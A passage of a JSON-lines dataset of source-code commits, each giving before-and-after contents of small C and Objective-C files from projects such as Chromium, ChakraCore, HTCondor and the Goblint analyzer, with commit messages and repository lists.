Turbo_Value *that, FILE *out, int level);\n\n#ifdef __cplusplus\n}\n#endif\n","subject":"Handle restrict on Windows compilers","message":"Handle restrict on Windows compilers\n","lang":"C","license":"bsd-3-clause","repos":"FlyingJester\/TurboJSON,FlyingJester\/TurboJSON,FlyingJester\/TurboJSON"}
{"commit":"7e3f73b484dce568b5cee7f4e3209181efdf5cc7","old_file":"ppapi\/tests\/arch_dependent_sizes_64.h","new_file":"ppapi\/tests\/arch_dependent_sizes_64.h","old_contents":"\/* Copyright (c) 2012 The Chromium Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\n * This file has compile assertions for the sizes of types that are dependent\n * on the architecture for which they are compiled (i.e., 32-bit vs 64-bit).\n *\/\n\n#ifndef PPAPI_TESTS_ARCH_DEPENDENT_SIZES_64_H_\n#define PPAPI_TESTS_ARCH_DEPENDENT_SIZES_64_H_\n\n#include \"ppapi\/tests\/test_struct_sizes.c\"\n\nPP_COMPILE_ASSERT_SIZE_IN_BYTES(GLintptr, 8);\nPP_COMPILE_ASSERT_SIZE_IN_BYTES(GLsizeiptr, 8);\nPP_COMPILE_ASSERT_SIZE_IN_BYTES(PP_CompletionCallback_Func, 8);\nPP_COMPILE_ASSERT_SIZE_IN_BYTES(PP_URLLoaderTrusted_StatusCallback, 8);\nPP_COMPILE_ASSERT_STRUCT_SIZE_IN_BYTES(PP_CompletionCallback, 24);\nPP_COMPILE_ASSERT_SIZE_IN_BYTES(PPB_VideoDecoder_Dev, 64);\nPP_COMPILE_ASSERT_SIZE_IN_BYTES(PPP_VideoDecoder_Dev, 32);\n\n#endif  \/* PPAPI_TESTS_ARCH_DEPENDENT_SIZES_64_H_ *\/\n","new_contents":"\/* Copyright (c) 2012 The Chromium Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\n * This file has compile assertions for the sizes of types that are dependent\n * on the architecture for which they are compiled (i.e., 32-bit vs 64-bit).\n *\/\n\n#ifndef PPAPI_TESTS_ARCH_DEPENDENT_SIZES_64_H_\n#define PPAPI_TESTS_ARCH_DEPENDENT_SIZES_64_H_\n\n#include \"ppapi\/tests\/test_struct_sizes.c\"\n\n\/\/ TODO(jschuh): Resolve ILP64 to LLP64 issue. crbug.com\/177779\n#if !defined(_WIN64)\nPP_COMPILE_ASSERT_SIZE_IN_BYTES(GLintptr, 8);\nPP_COMPILE_ASSERT_SIZE_IN_BYTES(GLsizeiptr, 8);\n#endif\nPP_COMPILE_ASSERT_SIZE_IN_BYTES(PP_CompletionCallback_Func, 8);\nPP_COMPILE_ASSERT_SIZE_IN_BYTES(PP_URLLoaderTrusted_StatusCallback, 8);\nPP_COMPILE_ASSERT_STRUCT_SIZE_IN_BYTES(PP_CompletionCallback, 24);\nPP_COMPILE_ASSERT_SIZE_IN_BYTES(PPB_VideoDecoder_Dev, 64);\nPP_COMPILE_ASSERT_SIZE_IN_BYTES(PPP_VideoDecoder_Dev, 32);\n\n#endif  \/* PPAPI_TESTS_ARCH_DEPENDENT_SIZES_64_H_ *\/\n","subject":"Disable GL sizes PPAPI tests","message":"Disable GL sizes PPAPI tests\n\nThe wrong size is defined for Win64. It needs a real fix, but first I need to unblock the builder.\n\nBUG=177779\n\nReview URL: https:\/\/chromiumcodereview.appspot.com\/12310080\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@184296 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"markYoungH\/chromium.src,axinging\/chromium-crosswalk,Chilledheart\/chromium,timopulkkinen\/BubbleFish,mogoweb\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,timopulkkinen\/BubbleFish,zcbenz\/cefode-chromium,Jonekee\/chromium.src,ChromiumWebApps\/chromium,bright-sparks\/chromium-spacewalk,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk-efl,dednal\/chromium.src,Jonekee\/chromium.src,axinging\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,Fireblend\/chromium-crosswalk,fujunwei\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Chilledheart\/chromium,mohamed--abdel-maksoud\/chromium.src,patrickm\/chromium.src,timopulkkinen\/BubbleFish,ondra-novak\/chromium.src,Just-D\/chromium-1,hujiajie\/pa-chromium,jaruba\/chromium.src,anirudhSK\/chromium,axinging\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,hujiajie\/pa-chromium,krieger-od\/nwjs_chromium.src,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk,ondra-novak\/chromium.src,ltilve\/chromium,mohamed--abdel-maksoud\/chromium.src,Fireblend\/chromium-crosswalk,Jonekee\/chromium.src,ondra-novak\/chromium.src,krieger-od\/nwjs_chromium.src,Pluto-tv\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,Chilledheart\/chromium,ltilve\/chromium,ChromiumWebApps\/chromium,anirudhSK\/chromium,ChromiumWebApps\/chromium,fujunwei\/chromium-crosswalk,markYoungH\/chromium.src,dednal\/chromium.src,PeterWangIntel\/chromium-crosswalk,ChromiumWebApps\/chromium,dushu1203\/chromium.src,axinging\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,bright-sparks\/chromium-spacewalk,pozdnyakov\/chromium-crosswalk,patrickm\/chromium.src,TheTypoMaster\/chromium-crosswalk,anirudhSK\/chromium,Chilledheart\/chromium,mohamed--abdel-maksoud\/chromium.src,hujiajie\/pa-chromium,timopulkkinen\/BubbleFish,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,mogoweb\/chromium-crosswalk,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,PeterWangIntel\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,Jonekee\/chromium.src,Chilledheart\/chromium,dednal\/chromium.src,bright-sparks\/chromium-spacewalk,patrickm\/chromium.src,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk,M4sse\/chromium.src,patrickm\/chromium.src,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk,Jonekee\/chromium.src,hujiajie\/pa-chromium,hujiajie\/pa-chromium,dednal\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,timopulkkinen\/BubbleFish,ChromiumWebApps\/chromium,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,ChromiumWebApps\/chromium,ChromiumWebApps\/chromium,littlstar\/chromium.src,hgl888\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,Jonekee\/chromium.src,ltilve\/chromium,anirudhSK\/chromium,jaruba\/chromium.src,Jonekee\/chromium.src,dednal\/chromium.src,anirudhSK\/chromium,jaruba\/chromium.src,Chilledheart\/chromium,TheTypoMaster\/chromium-crosswalk,hujiajie\/pa-chromium,hujiajie\/pa-chromium,mohamed--abdel-maksoud\/chromium.src,pozdnyakov\/chromium-crosswalk,Just-D\/chromium-1,hujiajie\/pa-chromium,crosswalk-project\/chromium-crosswalk-efl,dednal\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,littlstar\/chromium.src,mogoweb\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,Pluto-tv\/chromium-crosswalk,zcbenz\/cefode-chromium,littlstar\/chromium.src,anirudhSK\/chromium,patrickm\/chromium.src,pozdnyakov\/chromium-crosswalk,chuan9\/chromium-crosswalk,Jonekee\/chromium.src,PeterWangIntel\/chromium-crosswalk,chuan9\/chromium-crosswalk,jaruba\/chromium.src,Pluto-tv\/chromium-crosswalk,markYoungH\/chromium.src,dushu1203\/chromium.src,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk,ltilve\/chromium,timopulkkinen\/BubbleFish,bright-sparks\/chromium-spacewalk,fujunwei\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,fujunwei\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,chuan9\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,chuan9\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk,dednal\/chromium.src,hgl888\/chromium-crosswalk-efl,dushu1203\/chromium.src,hgl888\/chromium-crosswalk,ondra-novak\/chromium.src,littlstar\/chromium.src,Chilledheart\/chromium,zcbenz\/cefode-chromium,mogoweb\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,chuan9\/chromium-crosswalk,dednal\/chromium.src,zcbenz\/cefode-chromium,M4sse\/chromium.src,chuan9\/chromium-crosswalk,Just-D\/chromium-1,PeterWangIntel\/chromium-crosswalk,ondra-novak\/chromium.src,dushu1203\/chromium.src,dushu1203\/chromium.src,mohamed--abdel-maksoud\/chromium.src,M4sse\/chromium.src,pozdnyakov\/chromium-crosswalk,ChromiumWebApps\/chromium,bright-sparks\/chromium-spacewalk,krieger-od\/nwjs_chromium.src,anirudhSK\/chromium,jaruba\/chromium.src,chuan9\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,markYoungH\/chromium.src,zcbenz\/cefode-chromium,pozdnyakov\/chromium-crosswalk,axinging\/chromium-crosswalk,Chilledheart\/chromium,Fireblend\/chromium-crosswalk,timopulkkinen\/BubbleFish,zcbenz\/cefode-chromium,Jonekee\/chromium.src,Jonekee\/chromium.src,Just-D\/chromium-1,fujunwei\/chromium-crosswalk,axinging\/chromium-crosswalk,mogoweb\/chromium-crosswalk,M4sse\/chromium.src,anirudhSK\/chromium,krieger-od\/nwjs_chromium.src,Just-D\/chromium-1,jaruba\/chromium.src,ChromiumWebApps\/chromium,dushu1203\/chromium.src,patrickm\/chromium.src,M4sse\/chromium.src,Fireblend\/chromium-crosswalk,patrickm\/chromium.src,dushu1203\/chromium.src,jaruba\/chromium.src,Fireblend\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,dushu1203\/chromium.src,ondra-novak\/chromium.src,M4sse\/chromium.src,markYoungH\/chromium.src,zcbenz\/cefode-chromium,TheTypoMaster\/chromium-crosswalk,Just-D\/chromium-1,M4sse\/chromium.src,M4sse\/chromium.src,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,littlstar\/chromium.src,ondra-novak\/chromium.src,axinging\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,fujunwei\/chromium-crosswalk,timopulkkinen\/BubbleFish,ChromiumWebApps\/chromium,mogoweb\/chromium-crosswalk,anirudhSK\/chromium,mogoweb\/chromium-crosswalk,jaruba\/chromium.src,anirudhSK\/chromium,dednal\/chromium.src,axinging\/chromium-crosswalk,timopulkkinen\/BubbleFish,axinging\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,ondra-novak\/chromium.src,timopulkkinen\/BubbleFish,krieger-od\/nwjs_chromium.src,M4sse\/chromium.src,Pluto-tv\/chromium-crosswalk,chuan9\/chromium-crosswalk,zcbenz\/cefode-chromium,krieger-od\/nwjs_chromium.src,hujiajie\/pa-chromium,chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,ltilve\/chromium,Pluto-tv\/chromium-crosswalk,jaruba\/chromium.src,markYoungH\/chromium.src,anirudhSK\/chromium,ChromiumWebApps\/chromium,patrickm\/chromium.src,dednal\/chromium.src,bright-sparks\/chromium-spacewalk,ltilve\/chromium,zcbenz\/cefode-chromium,M4sse\/chromium.src,pozdnyakov\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,markYoungH\/chromium.src,hujiajie\/pa-chromium,ChromiumWebApps\/chromium,bright-sparks\/chromium-spacewalk,ltilve\/chromium,markYoungH\/chromium.src,littlstar\/chromium.src,M4sse\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,zcbenz\/cefode-chromium,hgl888\/chromium-crosswalk,dednal\/chromium.src,Just-D\/chromium-1,fujunwei\/chromium-crosswalk,jaruba\/chromium.src,axinging\/chromium-crosswalk,anirudhSK\/chromium,littlstar\/chromium.src,Just-D\/chromium-1,ltilve\/chromium,dushu1203\/chromium.src,hujiajie\/pa-chromium,Just-D\/chromium-1,timopulkkinen\/BubbleFish,Pluto-tv\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,markYoungH\/chromium.src,Chilledheart\/chromium,markYoungH\/chromium.src,patrickm\/chromium.src,littlstar\/chromium.src,Fireblend\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,Jonekee\/chromium.src,mohamed--abdel-maksoud\/chromium.src,PeterWangIntel\/chromium-crosswalk,zcbenz\/cefode-chromium,markYoungH\/chromium.src,mogoweb\/chromium-crosswalk,ondra-novak\/chromium.src,mogoweb\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,dushu1203\/chromium.src,dushu1203\/chromium.src,jaruba\/chromium.src,ltilve\/chromium,PeterWangIntel\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,mohamed--abdel-maksoud\/chromium.src"}
{"commit":"4c54e21bfaf52047e4d0790623197df84a7410e4","old_file":"src\/sys\/utsname.c","new_file":"src\/sys\/utsname.c","old_contents":"\/* $Id$ *\/\n\/* Copyright (c) 2006 The DeforaOS Project *\/\n\n\n\n#include \"..\/syscalls.h\"\n#include \"sys\/utsname.h\"\n\n\n\/* uname *\/\n#ifndef __NetBSD__\nsyscall1(int, uname, struct utsname *, utsname);\n#endif\n","new_contents":"\/* $Id$ *\/\n\/* Copyright (c) 2007 The DeforaOS Project *\/\n\n\n\n#include \"..\/syscalls.h\"\n#include \"sys\/utsname.h\"\n\n\n\/* uname *\/\n#if !defined(__NetBSD__) || defined(NETBSD_USE_LINUX_EMULATION)\nsyscall1(int, uname, struct utsname *, utsname);\n#endif\n","subject":"Allow uname() with linux emulation on NetBSD","message":"Allow uname() with linux emulation on NetBSD\n","lang":"C","license":"bsd-2-clause","repos":"DeforaOS\/libc,DeforaOS\/libc"}
{"commit":"3e23ab61c6fe1bfd219f94bae2857985ef50da69","old_file":"Pod\/Classes\/CMHLoginViewController.h","new_file":"Pod\/Classes\/CMHLoginViewController.h","old_contents":"#import <ResearchKit\/ResearchKit.h>\n\n@class CMHLoginViewController;\n\n@protocol CMHLoginViewControllerDelegate <NSObject>\n@optional\n- (void)loginViewControllerCancelled:(CMHLoginViewController *_Nonnull)viewController;\n- (void)loginViewController:(CMHLoginViewController *_Nonnull)viewController didLogin:(BOOL)success error:(NSError *_Nullable)error;\n@end\n\n@interface CMHLoginViewController : ORKTaskViewController\n\n- (_Nonnull instancetype)initWithTitle:(NSString *_Nullable)title text:(NSString *_Nullable)text delegate:(id<CMHLoginViewControllerDelegate>)delegate;\n\n@property (weak, nonatomic, nullable) id<CMHLoginViewControllerDelegate> loginDelegate;\n\n- (instancetype)initWithTask:(nullable id<ORKTask>)task taskRunUUID:(nullable NSUUID *)taskRunUUID NS_UNAVAILABLE;\n- (instancetype)initWithCoder:(NSCoder *)aDecoder NS_UNAVAILABLE;\n- (instancetype)initWithNibName:(nullable NSString *)nibNameOrNil bundle:(nullable NSBundle *)nibBundleOrNil NS_UNAVAILABLE;\n- (instancetype)initWithTask:(nullable id<ORKTask>)task restorationData:(nullable NSData *)data delegate:(nullable id<ORKTaskViewControllerDelegate>)delegate NS_UNAVAILABLE;\n\n@end\n","new_contents":"#import <ResearchKit\/ResearchKit.h>\n\n@class CMHLoginViewController;\n\n@protocol CMHLoginViewControllerDelegate <NSObject>\n@optional\n- (void)loginViewControllerCancelled:(CMHLoginViewController *_Nonnull)viewController;\n- (void)loginViewController:(CMHLoginViewController *_Nonnull)viewController didLogin:(BOOL)success error:(NSError *_Nullable)error;\n@end\n\n@interface CMHLoginViewController : ORKTaskViewController\n\n- (_Nonnull instancetype)initWithTitle:(NSString *_Nullable)title text:(NSString *_Nullable)text delegate:(_Nullable id<CMHLoginViewControllerDelegate>)delegate;\n\n@property (weak, nonatomic, nullable) id<CMHLoginViewControllerDelegate> loginDelegate;\n\n- (_Null_unspecified instancetype)initWithTask:(nullable id<ORKTask>)task taskRunUUID:(nullable NSUUID *)taskRunUUID NS_UNAVAILABLE;\n- (_Null_unspecified instancetype)initWithCoder:(NSCoder *_Null_unspecified)aDecoder NS_UNAVAILABLE;\n- (_Null_unspecified instancetype)initWithNibName:(nullable NSString *)nibNameOrNil bundle:(nullable NSBundle *)nibBundleOrNil NS_UNAVAILABLE;\n- (_Null_unspecified instancetype)initWithTask:(nullable id<ORKTask>)task restorationData:(nullable NSData *)data delegate:(nullable id<ORKTaskViewControllerDelegate>)delegate NS_UNAVAILABLE;\n\n@end\n","subject":"Add nullability annotations to the custom login view controller's public interface","message":"Add nullability annotations to the custom login view controller's public interface\n","lang":"C","license":"mit","repos":"cloudmine\/CMHealthSDK-iOS,cloudmine\/CMHealthSDK-iOS,cloudmine\/CMHealthSDK"}
{"commit":"5cc6bfb2caca2ecd95d4e152d70fc6c261cd31e1","old_file":"ionCore\/ionStandardLibrary.h","new_file":"ionCore\/ionStandardLibrary.h","old_contents":"\r\n#pragma once\r\n\r\n#include \"ionTypes.h\"\r\n\r\n#include <algorithm>\r\n#include <numeric>\r\n#include <iomanip>\r\n#include <iostream>\r\n#include <fstream>\r\n#include <sstream>\r\n\r\nusing std::move;\r\nusing std::ifstream;\r\n\r\ntemplate <typename T, typename U>\r\nU * ConditionalMapAccess(map<T, U *> & Map, T const Key)\r\n{\r\n\tauto Iterator = Map.find(Key);\r\n\r\n\tif (Iterator != Map.end())\r\n\t\treturn Iterator->second;\r\n\r\n\treturn 0;\r\n}\r\n\r\nclass File\r\n{\r\n\r\npublic:\r\n\t\r\n\tstatic bool Exists(string const & FileName)\r\n\t{\r\n\t  ifstream ifile(FileName);\r\n\t  return ifile.good();\r\n\t}\r\n\r\n\tstatic string && ReadAsString(string const & FileName)\r\n\t{\r\n\t\tstd::ifstream t(FileName);\r\n\t\tstd::string str;\r\n\r\n\t\tt.seekg(0, std::ios::end);   \r\n\t\tstr.reserve((uint) t.tellg());\r\n\t\tt.seekg(0, std::ios::beg);\r\n\r\n\t\tstr.assign((std::istreambuf_iterator<char>(t)), std::istreambuf_iterator<char>());\r\n\r\n\t\treturn move(str);\r\n\t}\r\n};\r\n","new_contents":"\r\n#pragma once\r\n\r\n#include \"ionTypes.h\"\r\n\r\n#include <algorithm>\r\n#include <numeric>\r\n#include <iomanip>\r\n#include <iostream>\r\n#include <fstream>\r\n#include <sstream>\r\n\r\nusing std::move;\r\nusing std::ifstream;\r\n\r\ntemplate <typename T, typename U>\r\nU * ConditionalMapAccess(map<T, U *> & Map, T const Key)\r\n{\r\n\tauto Iterator = Map.find(Key);\r\n\r\n\tif (Iterator != Map.end())\r\n\t\treturn Iterator->second;\r\n\r\n\treturn 0;\r\n}\r\n\r\nclass File\r\n{\r\n\r\npublic:\r\n\t\r\n\tstatic bool Exists(string const & FileName)\r\n\t{\r\n\t  ifstream ifile(FileName);\r\n\t  return ifile.good();\r\n\t}\r\n\r\n\tstatic string ReadAsString(string const & FileName)\r\n\t{\r\n\t\tstd::ifstream t(FileName);\r\n\t\tstd::string str;\r\n\r\n\t\tt.seekg(0, std::ios::end);   \r\n\t\tstr.reserve((uint) t.tellg());\r\n\t\tt.seekg(0, std::ios::beg);\r\n\r\n\t\tstr.assign((std::istreambuf_iterator<char>(t)), std::istreambuf_iterator<char>());\r\n\r\n\t\treturn str;\r\n\t}\r\n};\r\n","subject":"Fix inappropriate move in ReadAsString","message":"Fix inappropriate move in ReadAsString\n\n--HG--\nbranch : SceneOverhaul\n","lang":"C","license":"mit","repos":"iondune\/ionEngine,iondune\/ionEngine"}
{"commit":"1f62a70bbf4f45f26c04145a5ad25e90b578db9b","old_file":"lib\/Runtime\/ByteCode\/ByteCodeCacheReleaseFileVersion.h","new_file":"lib\/Runtime\/ByteCode\/ByteCodeCacheReleaseFileVersion.h","old_contents":"\/\/-------------------------------------------------------------------------------------------------------\n\/\/ Copyright (C) Microsoft. All rights reserved.\n\/\/ Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.\n\/\/-------------------------------------------------------------------------------------------------------\n\/\/ NOTE: If there is a merge conflict the correct fix is to make a new GUID.\n\/\/ This file was generated with tools\\update_bytecode_version.ps1\n\n\/\/ {81AEEA4B-AE4E-40C0-848F-6DB7C5F49F55}\nconst GUID byteCodeCacheReleaseFileVersion =\n{ 0x81AEEA4B, 0xAE4E, 0x40C0, { 0x84, 0x8F, 0x6D, 0xB7, 0xC5, 0xF4, 0x9F, 0x55 } };\n","new_contents":"\/\/-------------------------------------------------------------------------------------------------------\n\/\/ Copyright (C) Microsoft. All rights reserved.\n\/\/ Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.\n\/\/-------------------------------------------------------------------------------------------------------\n\/\/ NOTE: If there is a merge conflict the correct fix is to make a new GUID.\n\/\/ This file was generated with tools\\update_bytecode_version.ps1\n\n\/\/ {2C341884-72E5-4799-923C-DB8EDAFEEA89}\nconst GUID byteCodeCacheReleaseFileVersion =\n{ 0x2C341884, 0x72E5, 0x4799, { 0x92, 0x3C, 0xDB, 0x8E, 0xDA, 0xFE, 0xEA, 0x89 } };\n","subject":"Update byte code ID for InitConst change","message":"Update byte code ID for InitConst change\n","lang":"C","license":"mit","repos":"Microsoft\/ChakraCore,Microsoft\/ChakraCore,Microsoft\/ChakraCore,Microsoft\/ChakraCore,Microsoft\/ChakraCore,Microsoft\/ChakraCore"}
{"commit":"b3fbc27c7a4130904f3cae41eb161832304b6b9d","old_file":"src\/condor_syscall_lib\/syscall_mode.c","new_file":"src\/condor_syscall_lib\/syscall_mode.c","old_contents":"\/*******************************************************************\n**\n** Manage system call mode and do remote system calls.\n**\n*******************************************************************\/\n\n#define _POSIX_SOURCE\n#include <stdio.h>\n#include \"condor_syscall_mode.h\"\n\nstatic int\t\tSyscallMode = 1; \/* LOCAL and UNMAPPED *\/\n\nint\nSetSyscalls( int mode )\n{\n\tint\tanswer;\n\tanswer = SyscallMode;\n\tSyscallMode = mode;\n\treturn answer;\n}\n\nBOOL\nLocalSysCalls()\n{\n\treturn SyscallMode & SYS_LOCAL;\n}\n\nBOOL\nRemoteSysCalls()\n{\n\treturn (SyscallMode & SYS_LOCAL) == 0;\n}\n\nBOOL\nMappingFileDescriptors()\n{\n\treturn (SyscallMode & SYS_MAPPED);\n}\n\n#if defined(AIX32)\t\/* Just to test linking *\/\nint syscall( int num, ... )\n{\n\treturn 0;\n}\n#endif\n","new_contents":"\/*******************************************************************\n**\n** Manage system call mode and do remote system calls.\n**\n*******************************************************************\/\n\n#define _POSIX_SOURCE\n#include \"condor_common.h\"\n#include \"condor_debug.h\"\n#include \"condor_syscall_mode.h\"\n\nstatic int\t\tSyscallMode = 1; \/* LOCAL and UNMAPPED *\/\n\nint\nSetSyscalls( int mode )\n{\n\tint\tanswer;\n\tanswer = SyscallMode;\n\tSyscallMode = mode;\n\treturn answer;\n}\n\nBOOL\nLocalSysCalls()\n{\n\treturn SyscallMode & SYS_LOCAL;\n}\n\nBOOL\nRemoteSysCalls()\n{\n\treturn (SyscallMode & SYS_LOCAL) == 0;\n}\n\nBOOL\nMappingFileDescriptors()\n{\n\treturn (SyscallMode & SYS_MAPPED);\n}\n\nvoid\nDisplaySyscallMode()\n{\n\tdprintf( D_ALWAYS,\n\t\t\"Syscall Mode is: %s %s\\n\",\n\t\tRemoteSysCalls() ? \"REMOTE\" : \"LOCAL\",\n\t\tMappingFileDescriptors() ? \"MAPPED\" : \"UNMAPPED\"\n\t);\n}\n\n#if defined(AIX32)\t\/* Just to test linking *\/\nint syscall( int num, ... )\n{\n\treturn 0;\n}\n#endif\n","subject":"Add DisplaySyscallMode() routine for debugging.","message":"Add DisplaySyscallMode() routine for debugging.\n","lang":"C","license":"apache-2.0","repos":"zhangzhehust\/htcondor,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,neurodebian\/htcondor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,zhangzhehust\/htcondor,neurodebian\/htcondor,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,neurodebian\/htcondor,clalancette\/condor-dcloud,neurodebian\/htcondor,clalancette\/condor-dcloud,djw8605\/htcondor,zhangzhehust\/htcondor,htcondor\/htcondor,htcondor\/htcondor,zhangzhehust\/htcondor,djw8605\/htcondor,bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,djw8605\/htcondor,djw8605\/condor,djw8605\/condor,djw8605\/htcondor,neurodebian\/htcondor,htcondor\/htcondor,djw8605\/condor,neurodebian\/htcondor,clalancette\/condor-dcloud,neurodebian\/htcondor,htcondor\/htcondor,zhangzhehust\/htcondor,htcondor\/htcondor,djw8605\/htcondor,djw8605\/condor,djw8605\/condor,djw8605\/htcondor,neurodebian\/htcondor,djw8605\/htcondor,bbockelm\/condor-network-accounting,djw8605\/condor,mambelli\/osg-bosco-marco,htcondor\/htcondor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,djw8605\/condor,mambelli\/osg-bosco-marco,neurodebian\/htcondor,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,htcondor\/htcondor,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,htcondor\/htcondor,djw8605\/condor,djw8605\/htcondor,djw8605\/htcondor,clalancette\/condor-dcloud,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,mambelli\/osg-bosco-marco,mambelli\/osg-bosco-marco"}
{"commit":"d9041156f999342aab312dfb7ea6dfc21f7cbd08","old_file":"SWXMLDateMapping.h","new_file":"SWXMLDateMapping.h","old_contents":"\/\/\n\/\/  SWXMLDateMapping.h\n\/\/  This file is part of the \"SWXMLMapping\" project, and is distributed under the MIT License.\n\/\/\n\/\/  Created by Samuel Williams on 13\/11\/05.\n\/\/  Copyright 2005 Samuel Williams. All rights reserved.\n\/\/\n\n#import \"SWXMLMemberMapping.h\"\n\n@class SWXMLMemberMapping;\n\n@interface SWXMLDateMapping : SWXMLMemberMapping {\n\n}\n\n@end\n","new_contents":"\/\/\n\/\/  SWXMLDateMapping.h\n\/\/  This file is part of the \"SWXMLMapping\" project, and is distributed under the MIT License.\n\/\/\n\/\/  Created by Samuel Williams on 13\/11\/05.\n\/\/  Copyright 2005 Samuel Williams. All rights reserved.\n\/\/\n\n#import \"SWXMLMemberMapping.h\"\n\n@class SWXMLMemberMapping;\n\n\/\/ Formats value attribute according to ISO8601 (http:\/\/www.w3.org\/TR\/NOTE-datetime)\n@interface SWXMLDateMapping : SWXMLMemberMapping {\n\n}\n\n@end\n","subject":"Comment regarding value serialization of date.","message":"Comment regarding value serialization of date.\n","lang":"C","license":"mit","repos":"oriontransfer\/SWXMLMapping"}
{"commit":"626cf0008f095c5445636fb0b57156d43b715df7","old_file":"tests\/regression\/03-practical\/22-nested-infinite-loops.c","new_file":"tests\/regression\/03-practical\/22-nested-infinite-loops.c","old_contents":"","new_contents":"\/\/ https:\/\/github.com\/goblint\/analyzer\/issues\/231#issuecomment-868369123\nint main(void) {\n  int x = 0;\n  while(1) {\n    while(1) {\n      x++;\n    }\n    x--;\n  }\n  x--;\n  return x;\n}","subject":"Add nested infinite loops test","message":"Add nested infinite loops test\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"8d644ff0daeee58cbdf9585817b39354b56461f8","old_file":"tests\/regression\/27-inv_invariants\/15-unknown-null-ptr.c","new_file":"tests\/regression\/27-inv_invariants\/15-unknown-null-ptr.c","old_contents":"","new_contents":"#include <stddef.h>\n\nint main() {\n  int *r; \/\/ rand\n\n  if (r == NULL)\n    assert(r == NULL);\n  else\n    assert(r != NULL); \/\/ TODO\n\n  if (r != NULL)\n    assert(r != NULL);\n  else\n    assert(r == NULL); \/\/ TODO\n\n  return 0;\n}\n","subject":"Add test for NULL pointer invariant refinement","message":"Add test for NULL pointer invariant refinement\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"44ff99d3d8e9bb89f9084fc0d6586f1a7f0e1277","old_file":"ann.c","new_file":"ann.c","old_contents":"#include <stdio.h>\n\n#define INPUTS 3\n#define HIDDEN 5\n#define OUTPUTS 2\n#define ROWS 5\n\ntypedef struct {\n    double input[HIDDEN][INPUTS];\n    double hidden[ROWS - 3][HIDDEN][HIDDEN];\n    double output[OUTPUTS][HIDDEN];\n} Links;\n\ntypedef struct {\n    Links weights;\n} ANN;\n\nint main(void)\n{\n    return 0;\n}\n","new_contents":"#include <stdio.h>\n\n#define INPUTS 3\n#define HIDDEN 5\n#define OUTPUTS 2\n#define ROWS 5\n\ntypedef struct {\n    double input[HIDDEN][INPUTS];\n    double hidden[ROWS - 3][HIDDEN][HIDDEN];\n    double output[OUTPUTS][HIDDEN];\n} Links;\n\ntypedef struct {\n    int input[INPUTS];\n    int hidden[HIDDEN];\n    int output[OUTPUTS];\n} Neurons;\n\ntypedef struct {\n    Links weights;\n    Neurons values;\n} ANN;\n\nint main(void)\n{\n    return 0;\n}\n","subject":"Allow neuron values (outputs) to be stored","message":"Allow neuron values (outputs) to be stored\n","lang":"C","license":"mit","repos":"tysonzero\/c-ann"}
